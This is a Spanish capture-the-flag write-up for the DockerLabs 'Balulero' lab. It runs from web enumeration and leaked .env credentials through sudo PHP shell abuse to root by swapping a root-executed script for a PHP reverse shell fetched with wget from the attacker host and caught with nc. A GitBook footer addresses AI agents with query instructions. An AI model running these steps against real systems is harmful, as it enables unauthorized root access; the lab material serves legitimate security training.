> For the complete documentation index, see [llms.txt](https://itskode.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://itskode.gitbook.io/pentesting/dockerlabs/facil/balulero.md).

# Balulero

## Introduccion

En este laboratorio de DockerLabs se compromete una maquina Linux que expone SSH y HTTP.

La cadena empieza con una web personal de Balu. La enumeracion descubre el directorio `/whoami/`, pero la pista real aparece revisando JavaScript: un mensaje de consola revela una copia visible de un archivo `.env`. Ese archivo contiene credenciales de recuperacion para el usuario `balu`, que permiten entrar por SSH.

Desde dentro, `balu` puede ejecutar `php` como el usuario `chocolate` mediante `sudo`. La escalada final llega al descubrir que `root` ejecuta en bucle `/opt/script.php`, un archivo propiedad de `chocolate`. Al reemplazarlo por una reverse shell PHP, se obtiene una shell como `root`.

***

## Reconocimiento

Se realiza un escaneo de versiones con Nmap:

```bash
nmap -sVCS -Pn -n -p- 172.17.0.2
```

<div align="center"><img src="/files/7pTmloKdU0B9ofe9VX93" alt="Escaneo Nmap"></div>

El escaneo muestra dos puertos abiertos:

| Puerto | Servicio | Version                    |
| ------ | -------- | -------------------------- |
| 22/tcp | SSH      | OpenSSH 8.2p1 Ubuntu       |
| 80/tcp | HTTP     | Apache httpd 2.4.41 Ubuntu |

***

## Enumeracion web

Al acceder al puerto 80 aparece una landing page personal:

```
http://172.17.0.2
```

<div align="center"><img src="/files/pCfFUugigSg2hDc7jt7u" alt="Web principal"></div>

Se lanza Gobuster para descubrir rutas y archivos:

```bash
gobuster dir -u http://172.17.0.2 \
  -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt \
  -x html,zip,php,txt \
  -b 404 -t 60
```

<div align="center"><img src="/files/peATFaFPMCe8uJsh7DZH" alt="Gobuster"></div>

Aparecen estos recursos:

| Ruta             | Codigo | Comentario             |
| ---------------- | ------ | ---------------------- |
| `/index.html`    | 200    | Pagina principal       |
| `/whoami/`       | 301    | Directorio con listing |
| `/server-status` | 403    | Restringido            |

Al visitar `/whoami/` se muestra un directory listing vacio:

<div align="center"><img src="/files/u15gMNm54tbO5sdgFunU" alt="Directory listing en whoami"></div>

***

## Pista en JavaScript

Revisando el codigo JavaScript de la web aparece un mensaje en consola con una pista directa:

```javascript
console.log("Se ha prohibido el acceso al archivo .env, que es donde se guarda la password de backup, pero hay una copia llamada .env_de_baluchingon visible jiji")
```

<div align="center"><img src="/files/s8LsXoeqOpf4PICYntgw" alt="Pista en JavaScript"></div>

Se accede al archivo indicado:

```
http://172.17.0.2/.env_de_baluchingon
```

<div align="center"><img src="/files/jgdD318EtL6yZju22HVY" alt="Credenciales en env de baluchingon"></div>

El archivo contiene credenciales de recuperacion:

```
balu:balubalulerobalulei
```

***

## Acceso inicial

Se prueban las credenciales por SSH:

```bash
ssh balu@172.17.0.2
```

<div align="center"><img src="/files/QLNTWOFifDNWiUUx66Dj" alt="SSH como balu"></div>

El acceso funciona y se obtiene una shell como `balu`.

***

## Movimiento lateral a chocolate

Como `balu`, se revisan los permisos de `sudo`:

```bash
sudo -l
```

<div align="center"><img src="/files/u9Ppt3lzJD9ddWc1K7LD" alt="sudo -l de balu"></div>

El usuario puede ejecutar `php` como `chocolate` sin password:

```
(chocolate) NOPASSWD: /usr/bin/php
```

Se abusa de PHP para lanzar una shell interactiva:

```bash
sudo -u chocolate php -r 'system("/bin/sh -i");'
whoami
```

<div align="center"><img src="/files/nsgKlznF90Tl5V31yl7h" alt="Shell como chocolate con PHP"></div>

***

## Enumeracion local

Como `chocolate`, se comprueban permisos de `sudo`, el home del usuario y binarios SUID:

```bash
sudo -l
cd
ls -la
find / -perm -4000 -type f 2>/dev/null
```

<div align="center"><img src="/files/I8yEU38XzheroksPDtdz" alt="Enumeracion como chocolate"></div>

No aparece una escalada directa por `sudo` ni por SUID. Se revisan procesos en ejecucion:

```bash
ps aux
```

<div align="center"><img src="/files/QCBokrjJPp0IItOG0KLy" alt="Procesos del sistema"></div>

Entre los procesos de `root` aparece un bucle que ejecuta `/opt/script.php` cada pocos segundos:

```
while true; do php /opt/script.php; sleep 5; done
```

Se revisa `/opt`:

```bash
cd /opt
ls -la
```

<div align="center"><img src="/files/MX9QmnfC5rnrvi5dSzkT" alt="Script PHP en opt"></div>

El archivo `/opt/script.php` pertenece al usuario `chocolate`, por lo que puede ser reemplazado.

***

## Escalada a root

En la maquina atacante se prepara una reverse shell PHP y se levanta un servidor HTTP temporal:

```bash
nano revshell.php
python3 -m http.server 80
```

Tambien se deja preparado un listener:

```bash
nc -lvnp 4444
```

<div align="center"><img src="/files/dcHfjQ3PEbUWPCIaqRHG" alt="Servidor HTTP y listener"></div>

Desde la maquina victima se descarga la reverse shell:

```bash
wget http://172.17.0.1:80/revshell.php
```

<div align="center"><img src="/files/B6JIBsoSkjtsA0RNieTh" alt="Descarga de revshell.php"></div>

Se reemplaza el script ejecutado por `root`:

```bash
cp revshell.php script.php
```

<div align="center"><img src="/files/W2QXgsfaJUkzkK0D2uGX" alt="Reemplazo de script.php"></div>

Cuando el bucle de `root` ejecuta de nuevo `/opt/script.php`, llega una shell al listener:

<div align="center"><img src="/files/xqFAAPIrNN3Q9MMY3WCu" alt="Shell root"></div>

Se confirma el usuario:

```bash
whoami
```

```
root
```

***

## Resumen

La ruta completa de la maquina queda asi:

1. Escaneo con Nmap para identificar SSH y HTTP.
2. Enumeracion web con Gobuster hasta descubrir `/whoami/`.
3. Revision de JavaScript y hallazgo de la pista hacia `.env_de_baluchingon`.
4. Lectura de credenciales `balu:balubalulerobalulei`.
5. Acceso SSH como `balu`.
6. Abuso de `sudo php` para saltar al usuario `chocolate`.
7. Enumeracion local y revision de procesos.
8. Descubrimiento de `/opt/script.php` ejecutado en bucle por `root`.
9. Reemplazo de `script.php` por una reverse shell PHP.
10. Shell final como `root`.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://itskode.gitbook.io/pentesting/dockerlabs/facil/balulero.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
